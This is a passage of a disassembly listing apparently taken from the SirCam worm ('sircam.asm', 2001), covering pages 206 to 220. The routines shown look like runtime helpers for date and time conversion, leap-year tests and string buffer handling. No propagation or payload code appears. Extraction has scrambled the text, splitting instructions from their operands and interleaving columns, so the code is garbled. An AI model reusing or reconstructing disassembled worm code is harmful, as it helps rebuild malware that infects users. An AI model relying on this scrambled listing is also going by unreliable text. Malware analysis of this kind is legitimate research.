12:42:44 2001 206 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_407AE8: ; CODE XREF: sub_407700+3B\030j call sub_407ADD pop edi pop esi pop ebx pop ebx mov esp, ebp pop ebp retn 0Ch ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_407AF8 proc near ; CODE XREF: CODE:004093B9\031p arg_0 arg_4 = dword ptr = dword ptr sub_407AF8 push ebp mov ebp, esp push ebx push esi push edi mov esi, ecx mov edi, edx mov ebx, eax mov eax, esi call sub_407534 push eax mov eax, [ebp+arg_4] push eax mov eax, [ebp+arg_0] push eax mov ecx, esi mov eax, ebx mov edx, edi call sub_407700 mov byte ptr [ebx+eax], 0 mov eax, ebx pop edi pop esi pop ebx pop ebp retn 8 endp ; sp = -0Ch 8 0Ch ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_407B2C proc near arg_0 = dword ptr push mov push mov xchg xchg call pop retn ; CODE XREF: sub_40948C+34\031p ; sub_409548+41\031p ... 8 ebp ebp, esp ecx ecx, [ebp+arg_0] eax, ecx edx, ecx sub_407B40 ebp 4 sircam.asm sub_407B2C Fri Aug 10 12:42:44 2001 207 endp ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_407B40 proc near var_100A var_8 var_4 arg_0 = = = = ; CODE XREF: sub_406FEC+19\030p ; sub_40701C+21\030p ... byte ptr -100Ah dword ptr -8 dword ptr -4 dword ptr 8 push mov add push add push push mov mov mov mov mov call mov test jns add ebp ebp, esp esp, 0FFFFF004h eax esp, 0FFFFFFF4h ebx esi [ebp+var_8], ecx [ebp+var_4], edx esi, eax ebx, 1002h eax, [ebp+var_4] sub_403724 edx, ebx edx, edx short loc_407B6D edx, 3 loc_407B6D: ; CODE XREF: sub_407B40+28\030j sar edx, 2 mov ecx, ebx sub ecx, edx cmp eax, ecx jge short loc_407B9C mov eax, [ebp+var_4] call sub_403724 push eax mov eax, [ebp+var_8] push eax mov eax, [ebp+arg_0] push eax mov ecx, [ebp+var_4] mov edx, ebx dec edx lea eax, [ebp+var_100A] call sub_407700 jmp short loc_407BA8 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_407B9C: ; CODE XREF: sub_407B40+36\030j mov call mov mov loc_407BA8: eax, [ebp+var_4] sub_403724 ebx, eax eax, ebx ; CODE XREF: sub_407B40+5A\030j mov edx, ebx dec edx cmp eax, edx jl short loc_407BF2 jmp short loc_407BE1 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ sircam.asm Fri Aug 10 12:42:44 2001 loc_407BB1: 208 ; CODE XREF: sub_407B40+A6\031j add mov call mov mov call mov call push mov push mov push mov mov dec mov call ebx, ebx eax, esi sub_4034C8 eax, esi edx, ebx sub_4039FC eax, [ebp+var_4] sub_403724 eax eax, [ebp+var_8] eax eax, [ebp+arg_0] eax ecx, [ebp+var_4] edx, ebx edx eax, [esi] sub_407700 loc_407BE1: ; CODE XREF: sub_407B40+6F\030j mov edx, ebx dec edx cmp eax, edx jge short loc_407BB1 mov edx, esi xchg eax, edx call sub_4039FC jmp short loc_407C00 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_407BF2: lea mov xchg call ; CODE XREF: sub_407B40+6D\030j edx, [ebp+var_100A] ecx, esi eax, ecx sub_4035B0 loc_407C00: sub_407B40 ; CODE XREF: sub_407B40+B0\030j pop pop mov pop retn endp esi ebx esp, ebp ebp 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_407C08 proc near var_8 arg_0 = qword ptr -8 = qword ptr 8 push mov mov fld fmul sub fistp wait pop pop or jns neg neg ebp ebp, esp ecx, eax [ebp+arg_0] ds:flt_41C154 esp, 8 [esp+8+var_8] ; CODE XREF: sub_407D30+1C\031p ; sub_407F04+1D\031p ... eax edx edx, edx short loc_407C34 edx eax sircam.asm Fri Aug 10 12:42:44 2001 209 sbb edx, 0 div ds:dword_41C158 neg eax jmp short loc_407C3A ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_407C34: ; CODE XREF: sub_407C08+19\030j div ds:dword_41C158 add mov mov pop retn endp eax, 0A955Ah [ecx], edx [ecx+4], eax ebp 8 loc_407C3A: sub_407C08 ; CODE XREF: sub_407C08+2A\030j ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_407C48 proc near var_8 var_1 arg_0 arg_4 = = = = dword ptr -8 byte ptr -1 dword ptr 8 dword ptr 0Ch push mov add push mov mov cmp jnb cmp jnb cmp jnb cmp jnb movzx imul movzx imul add movzx imul add movzx add mov fild fdiv mov fstp wait mov ebp ebp, esp esp, 0FFFFFFF8h esi esi, [ebp+arg_4] [ebp+var_1], 0 ax, 18h short loc_407CA9 dx, 3Ch short loc_407CA9 cx, 3Ch short loc_407CA9 si, 3E8h short loc_407CA9 eax, ax eax, 36EE80h edx, dx edx, 0EA60h eax, edx edx, cx edx, 3E8h eax, edx edx, si eax, edx [ebp+var_8], eax [ebp+var_8] ds:flt_407CB4 eax, [ebp+arg_0] qword ptr [eax] [ebp+var_1], 1 loc_407CA9: sub_407C48 ; CODE XREF: sub_407CB8+31\031p ; CODE XREF: sub_407C48+12\030j ; sub_407C48+18\030j ... mov pop pop pop pop retn endp al, [ebp+var_1] esi ecx ecx ebp 8 sircam.asm Fri Aug 10 12:42:44 2001 210 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 flt_407CB4 dd 8.64e7 ; DATA XREF: sub_407C48+51\030r ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_407CB8 proc near var_C var_8 arg_0 = dword ptr -0Ch = byte ptr -8 = word ptr 8 ; CODE XREF: sub_408090+3B\031p push mov add push push push xor mov mov mov mov xor push push push mov mov push lea push mov mov mov call test jnz lea mov call mov call ebp ebp, esp esp, 0FFFFFFF4h ebx esi edi ebx, ebx [ebp+var_C], ebx edi, ecx esi, edx ebx, eax eax, eax ebp offset loc_407D1D dword ptr fs:[eax] fs:[eax], esp ax, [ebp+arg_0] eax eax, [ebp+var_8] eax ecx, edi edx, esi eax, ebx sub_407C48 al, al short loc_407D07 edx, [ebp+var_C] eax, ds:off_41DBA8 sub_404B80 eax, [ebp+var_C] sub_406CBC xor pop pop pop mov push ; CODE XREF: sub_407CB8+38\030j eax, eax edx ecx ecx fs:[eax], edx offset loc_407D24 loc_407D07: loc_407D14: sub_407CB8 ; CODE XREF: CODE:00407D22\031j lea eax, [ebp+var_C] call sub_4034C8 retn endp ; sp = -20h ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_407D1D: ; DATA XREF: sub_407CB8+17\030o jmp loc_402F60 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ jmp short loc_407D14 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_407D24: ; DATA XREF: sub_407CB8+57\030o sircam.asm Fri Aug 10 12:42:44 2001 fld pop pop pop mov pop retn 211 qword ptr [ebp-8] edi esi ebx esp, ebp ebp 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_407D30 proc near var_C var_4 var_2 arg_0 arg_4 arg_8 = = = = = = sub_407D30 push mov add push push push mov mov mov lea push push push lea call mov lea mov call push mov movzx mov call mov push mov movzx mov call pop pop pop mov pop retn endp ; CODE XREF: sub_4081F4+31\031p dword ptr -0Ch word ptr -4 word ptr -2 dword ptr 8 dword ptr 0Ch dword ptr 10h ebp ebp, esp esp, 0FFFFFFF4h ebx esi edi edi, ecx esi, edx ebx, eax eax, [ebp+var_4] eax [ebp+arg_8] [ebp+arg_4] eax, [ebp+var_C] sub_407C08 eax, [ebp+var_C] ecx, [ebp+var_2] dx, 0EA60h sub_406CA0 esi ecx, ebx eax, [ebp+var_2] dx, 3Ch sub_406CA0 eax, [ebp+arg_0] eax ecx, edi eax, [ebp+var_4] dx, 3E8h sub_406CA0 edi esi ebx esp, ebp ebp 0Ch ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_407D8C proc near push push mov movzx and ebx esi ecx, eax eax, cx eax, 3 ; CODE XREF: sub_407DC8+19\031p ; sub_407F04+EB\031p sircam.asm Fri Aug 10 12:42:44 2001 test jnz movzx mov mov xor div test jnz mov mov xor div test jz 212 eax, eax short loc_407DBB ebx, cx eax, ebx esi, 64h edx, edx esi edx, edx short loc_407DC0 eax, ebx ecx, 190h edx, edx ecx edx, edx short loc_407DC0 loc_407DBB: ; CODE XREF: sub_407D8C+C\030j xor eax, eax pop esi pop ebx retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_407DC0: sub_407D8C ; CODE XREF: sub_407D8C+1E\030j ; sub_407D8C+2D\030j mov pop pop retn endp al, 1 esi ebx ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_407DC8 proc near var_8 var_3 var_2 arg_0 = = = = ; CODE XREF: sub_407E90+2C\031p dword ptr -8 byte ptr -3 word ptr -2 dword ptr 8 push mov add push push push mov mov mov mov mov call and lea lea cmp jb cmp ja cmp jb cmp ja cmp jb ebp ebp, esp esp, 0FFFFFFF8h ebx esi edi ebx, ecx edi, edx [ebp+var_2], ax [ebp+var_3], 0 ax, [ebp+var_2] sub_407D8C eax, 7Fh eax, [eax+eax*2] esi, unk_41C0D4[eax*8] [ebp+var_2], 1 loc_407E84 [ebp+var_2], 270Fh short loc_407E84 di, 1 short loc_407E84 di, 0Ch short loc_407E84 bx, 1 short loc_407E84 sircam.asm Fri Aug 10 12:42:44 2001 movzx cmp ja movzx dec test jle mov eax, di bx, [esi+eax*2-2] short loc_407E84 eax, di eax eax, eax short loc_407E38 ecx, 1 add inc dec jnz ; CODE XREF: sub_407DC8+6E\031j bx, [esi+ecx*2-2] ecx eax short loc_407E2F loc_407E2F: loc_407E38: ; CODE XREF: sub_407DC8+60\030j movzx dec mov mov cdq idiv imul mov test jns add ecx, [ebp+var_2] ecx eax, ecx esi, 64h sar add sub mov mov cdq idiv add movzx add sub mov fild mov fstp wait mov edx, esi, esi, eax, ecx, esi esi, ecx, 16Dh edx, ecx edx, edx short loc_407E56 edx, 3 loc_407E56: ; CODE XREF: sub_407DC8+89\030j 2 edx eax ecx 190h ecx esi, eax eax, bx esi, eax esi, 0A955Ah [ebp+var_8], esi [ebp+var_8] eax, [ebp+arg_0] qword ptr [eax] [ebp+var_3], 1 loc_407E84: sub_407DC8 213 ; CODE XREF: sub_407DC8+30\030j ; sub_407DC8+3C\030j ... mov pop pop pop pop pop pop retn endp al, [ebp+var_3] edi esi ebx ecx ecx ebp 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_407E90 proc near var_C var_8 = dword ptr -0Ch = byte ptr -8 push ebp ; CODE XREF: sub_408090+1C\031p sircam.asm Fri Aug 10 12:42:44 2001 mov add push push push xor mov mov mov mov xor push push push mov lea push mov mov mov call test jnz lea mov call mov call ebp, esp esp, 0FFFFFFF4h ebx esi edi ebx, ebx [ebp+var_C], ebx edi, ecx esi, edx ebx, eax eax, eax ebp offset loc_407EF0 dword ptr fs:[eax] fs:[eax], esp eax, [ebp+var_8] eax ecx, edi edx, esi eax, ebx sub_407DC8 al, al short loc_407EDA edx, [ebp+var_C] eax, ds:off_41DC04 sub_404B80 eax, [ebp+var_C] sub_406CBC xor pop pop pop mov push ; CODE XREF: sub_407E90+33\030j eax, eax edx ecx ecx fs:[eax], edx offset loc_407EF7 loc_407EDA: loc_407EE7: sub_407E90 214 ; CODE XREF: CODE:00407EF5\031j lea eax, [ebp+var_C] call sub_4034C8 retn endp ; sp = -20h ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_407EF0: ; DATA XREF: sub_407E90+17\030o jmp loc_402F60 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ jmp short loc_407EE7 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_407EF7: ; DATA XREF: sub_407E90+52\030o fld qword ptr [ebp-8] pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_407F04 proc near var_18 var_14 = byte ptr -18h = dword ptr -14h ; CODE XREF: sub_408048+13\031p sircam.asm var_10 var_E var_C var_8 var_4 arg_0 arg_4 arg_8 Fri Aug 10 12:42:44 2001 = = = = = = = = 215 word ptr -10h word ptr -0Eh dword ptr -0Ch dword ptr -8 dword ptr -4 dword ptr 8 dword ptr 0Ch dword ptr 10h push ebp mov ebp, esp add esp, 0FFFFFFE8h push ebx push esi mov [ebp+var_C], ecx mov [ebp+var_8], edx mov [ebp+var_4], eax mov ebx, [ebp+arg_0] push [ebp+arg_8] push [ebp+arg_4] lea eax, [ebp+var_18] call sub_407C08 mov ecx, [ebp+var_14] test ecx, ecx jg short loc_407F4F mov eax, [ebp+var_4] mov word ptr [eax], 0 mov eax, [ebp+var_8] mov word ptr [eax], 0 mov eax, [ebp+var_C] mov word ptr [eax], 0 mov word ptr [ebx], 0 jmp loc_40803D ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_407F4F: ; CODE XREF: sub_407F04+27\030j mov mov cdq idiv mov dec mov cmp jl eax, ecx esi, 7 sub add cmp jge ecx, 23AB1h bx, 190h ecx, 23AB1h short loc_407F69 lea push lea mov xchg call cmp jnz dec add ; CODE XREF: sub_407F04+63\030j eax, [ebp+var_E] eax eax, [ebp+var_10] dx, 8EACh eax, ecx sub_406CA0 [ebp+var_10], 4 short loc_407F9E [ebp+var_10] [ebp+var_E], 8EACh imul add lea push lea ; CODE XREF: sub_407F04+8E\030j ax, [ebp+var_10], 64h bx, ax eax, [ebp+var_E] eax ecx, [ebp+var_10] esi [ebx], dx ecx bx, 1 ecx, 23AB1h short loc_407F7C loc_407F69: ; CODE XREF: sub_407F04+76\031j loc_407F7C: loc_407F9E: sircam.asm Fri Aug 10 12:42:44 2001 216 movzx mov call mov shl add lea push lea movzx mov call cmp jnz dec add eax, [ebp+var_E] dx, 5B5h sub_406CA0 ax, [ebp+var_10] eax, 2 bx, ax eax, [ebp+var_E] eax ecx, [ebp+var_10] eax, [ebp+var_E] dx, 16Dh sub_406CA0 [ebp+var_10], 4 short loc_407FE9 [ebp+var_10] [ebp+var_E], 16Dh add mov call and lea lea mov ; CODE XREF: sub_407F04+D9\030j bx, [ebp+var_10] eax, ebx sub_407D8C eax, 7Fh eax, [eax+eax*2] edx, unk_41C0D4[eax*8] ax, 1 loc_407FE9: loc_408005: ; CODE XREF: sub_407F04+120\031j movzx ecx, ax mov cx, [edx+ecx*2-2] mov [ebp+var_10], cx mov cx, [ebp+var_E] cmp cx, [ebp+var_10] jb short loc_408026 mov cx, [ebp+var_10] sub [ebp+var_E], cx inc eax jmp short loc_408005 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_408026: ; CODE XREF: sub_407F04+115\030j mov mov mov mov mov inc mov mov edx, [ebp+var_4] [edx], bx edx, [ebp+var_8] [edx], ax ax, [ebp+var_E] eax edx, [ebp+var_C] [edx], ax pop pop mov pop retn endp esi ebx esp, ebp ebp 0Ch loc_40803D: sub_407F04 ; CODE XREF: sub_407F04+46\030j ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_408048 proc near var_2 arg_0 arg_4 = byte ptr -2 = dword ptr 8 = dword ptr 0Ch ; CODE XREF: sub_4081BC+2A\031p sircam.asm sub_408048 Fri Aug 10 12:42:44 2001 push mov push push mov push push lea push mov call pop pop pop retn endp 217 ebp ebp, esp ecx esi esi, eax [ebp+arg_4] [ebp+arg_0] eax, [ebp+var_2] eax eax, esi sub_407F04 esi ecx ebp 8 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_408068 proc near var_8 var_4 arg_0 arg_4 = = = = sub_408068 push mov add push push lea call mov mov cdq idiv mov inc pop pop pop retn endp ; CODE XREF: sub_4084A8+293\031p ; sub_4084A8+2B7\031p ... byte ptr -8 dword ptr -4 dword ptr 8 dword ptr 0Ch ebp ebp, esp esp, 0FFFFFFF8h [ebp+arg_4] [ebp+arg_0] eax, [ebp+var_8] sub_407C08 eax, [ebp+var_4] ecx, 7 ecx eax, edx eax ecx ecx ebp 8 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_408090 proc near var_24 var_18 var_16 var_12 var_10 var_E var_C var_8 = = = = = = = = ; CODE XREF: sub_412A08+4F\031p start+7D4\031p qword ptr -24h word ptr -18h word ptr -16h word ptr -12h word ptr -10h word ptr -0Eh word ptr -0Ch qword ptr -8 add lea push call esp, 0FFFFFFE0h eax, [esp+20h+var_18] eax j_GetLocalTime sircam.asm sub_408090 Fri Aug 10 12:42:44 2001 218 mov cx, [esp+20h+var_12] mov dx, [esp+20h+var_16] mov ax, [esp+20h+var_18] call sub_407E90 fstp [esp+20h+var_8] wait mov ax, [esp+16h] push eax mov cx, [esp+24h+var_C] mov dx, [esp+24h+var_E] mov ax, [esp+24h+var_10] call sub_407CB8 fadd qword ptr [esp+24h+var_C] fstp [esp+24h+var_24] wait fld [esp+24h+var_24] add esp, 20h retn endp ; sp = -4 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_4080E0 proc near arg_0 = dword ptr ; CODE XREF: sub_408124+15\031p ; sub_408144+3D\031p ... 8 push mov push mov mov sub cmp jge mov ebp ebp, esp ebx ecx, [ebp+arg_0] ebx, 100h ebx, [ecx-104h] edx, ebx short loc_4080F8 ebx, edx test jz mov mov mov lea mov call ; CODE XREF: sub_4080E0+14\030j ebx, ebx short loc_408116 edx, [ebp+arg_0] edx, [edx-104h] ecx, [ebp+arg_0] edx, [ecx+edx-100h] ecx, ebx sub_4026B0 loc_4080F8: loc_408116: sub_4080E0 ; CODE XREF: sub_4080E0+1A\030j mov add pop pop retn endp eax, [ebp+arg_0] [eax-104h], ebx ebx ebp ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_408124 proc near ; CODE XREF: sub_4084A8+1B2\031p ; sub_4084A8+1DF\031p ... sircam.asm Fri Aug 10 12:42:44 2001 arg_0 = dword ptr sub_408124 push mov push mov mov push mov call mov mov call pop pop pop retn endp 219 8 ebp ebp, esp ebx ebx, eax eax, [ebp+arg_0] eax eax, ebx sub_403724 edx, eax eax, ebx sub_4080E0 ecx ebx ebp ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_408144 proc near var_20 var_1C var_18 var_14 var_10 arg_0 = = = = = = sub_408144 push mov add push push mov mov mov push push mov mov mov mov lea push push mov lea mov call mov lea call pop pop pop mov pop retn endp ; CODE XREF: sub_4084A8+16D\031p ; sub_4084A8+185\031p ... dword ptr -20h byte ptr -1Ch dword ptr -18h byte ptr -14h byte ptr -10h dword ptr 8 ebp ebp, esp esp, 0FFFFFFE0h ebx esi esi, edx ebx, eax eax, [ebp+arg_0] eax 4 [ebp+var_20], esi [ebp+var_1C], 0 [ebp+var_18], ebx [ebp+var_14], 0 eax, [ebp+var_20] eax 1 ecx, offset unk_41C15C eax, [ebp+var_10] edx, 10h sub_407700 edx, eax eax, [ebp+var_10] sub_4080E0 ecx esi ebx esp, ebp ebp ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 sircam.asm Fri Aug 10 12:42:44 2001 220 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_408190 proc near arg_0 = dword ptr ; CODE XREF: sub_4084A8+142\031p ; 